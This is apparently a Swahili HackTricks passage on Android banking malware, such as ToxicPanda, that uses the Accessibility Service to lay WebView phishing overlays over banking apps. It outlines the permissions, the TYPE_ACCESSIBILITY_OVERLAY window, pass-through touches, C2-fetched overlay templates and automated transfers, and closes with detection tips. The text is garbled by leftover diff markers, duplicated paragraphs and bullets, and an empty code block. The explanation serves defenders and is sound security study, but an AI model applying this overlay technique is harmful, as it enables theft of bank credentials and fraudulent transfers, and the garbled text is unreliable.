Mbali na Tapjacking ya kawaida, familia za kisasa za malware za benki za Android (mfano **ToxicPanda**, BrasDex, Sova, nk.) zinatumia **Huduma ya Upatikanaji** kuweka WebView ya skrini nzima **overlay** juu ya programu halali huku bado zikiwa na uwezo wa **kupeleka ingizo la mtumiaji** kwa mtazamo ulio chini. Hii inaongeza sana uaminifu na inawawezesha washambuliaji kuiba akidi, OTPs au hata kuendesha shughuli za udanganyifu.
Mbali na Tapjacking ya kawaida, familia za kisasa za malware za benki za Android (mfano **ToxicPanda**, BrasDex, Sova, nk.) zinatumia **Huduma ya Upatikanaji** kuweka **overlay** ya WebView ya skrini nzima juu ya programu halali huku bado ikiwezesha **kupeleka ingizo la mtumiaji** kwa mtazamo ulio chini. Hii inaongeza sana uaminifu na inawawezesha washambuliaji kuiba akidi, OTPs au hata kuendesha shughuli za udanganyifu.
### Inavyofanya kazi
1. APK mbaya inahitaji ruhusa ya `BIND_ACCESSIBILITY_SERVICE`, kawaida ikificha ombi hilo nyuma ya mazungumzo ya uwongo ya Google/Chrome/muonekano wa PDF.
1. APK mbaya inahitaji ruhusa ya `BIND_ACCESSIBILITY_SERVICE`, kwa kawaida ikificha ombi hilo nyuma ya mazungumzo ya uwongo ya Google/Chrome/PDF-viewer.
2. Mara mtumiaji anapowezesha huduma hiyo, malware inasimulia kwa programu taps zinazohitajika kutoa ruhusa hatari zaidi (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
3. **WebView** inakuzwa na kuongezwa kwa meneja wa dirisha kwa kutumia aina ya dirisha **`TYPE_ACCESSIBILITY_OVERLAY`**. Overlay inaweza kuonyeshwa kuwa opaque kabisa au semi-transparent na inaweza kuwekwa alama kama *“kupitia”* ili kugusa asilia bado zifikishwe kwa shughuli ya nyuma (hivyo shughuli hiyo inafanyika wakati mwathirika anaona tu fomu ya ulaghai).
```java
@ -87,9 +87,9 @@ wm.addView(phishingView, lp);
```
### Mchakato wa kawaida unaotumiwa na Trojans za benki
* Uliza pakiti zilizowekwa (`QUERY_ALL_PACKAGES`) ili kubaini ni programu gani ya benki / wallet inayofunguliwa kwa sasa.
* Pakua **kiolezo cha overlay cha HTML/JS** kutoka C2 ambacho kinakidhi kwa ukamilifu programu hiyo maalum (Nembo, rangi, nyuzi za i18n…).
* Pakua **kigezo cha overlay cha HTML/JS** kutoka C2 ambacho kinakidhi kwa ukamilifu programu hiyo maalum (Nembo, rangi, nyuzi za i18n…).
* Onyesha overlay, pata akidi/ PIN / muundo.
* Tumia **API ya Uwezo** (`performGlobalAction`, `GestureDescription`) kujiandaa kwa uhamisho katika hali ya nyuma.
* Tumia **API ya Uwezo** (`performGlobalAction`, `GestureDescription`) ili kuendesha uhamisho kwa nyuma.
### Ugunduzi & Kupunguza
* Kagua orodha ya programu zilizowekwa kwa `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
@ -100,7 +100,13 @@ wm.addView(phishingView, lp);
- Zima *Sakinisha kutoka Vyanzo Visivyojulikana* & *Uwezo kwa programu zisizoaminika*.
- Lazimisha PlayProtect & vifaa vilivyosasishwa.
Kwa maelezo zaidi juu ya kutumia Huduma za Uwezo kwa udhibiti kamili wa kifaa kwa mbali (mfano: PlayPraetor, SpyNote, nk) angalia:
{{#ref}}
accessibility-services-abuse.md
{{#endref}}
## Marejeo
* [Bitsight ToxicPanda Android Banking Malware 2025 Study](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
* [Bitsight Utafiti wa Malware ya Benki ya ToxicPanda Android 2025](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
{{#include ../../banners/hacktricks-training.md}}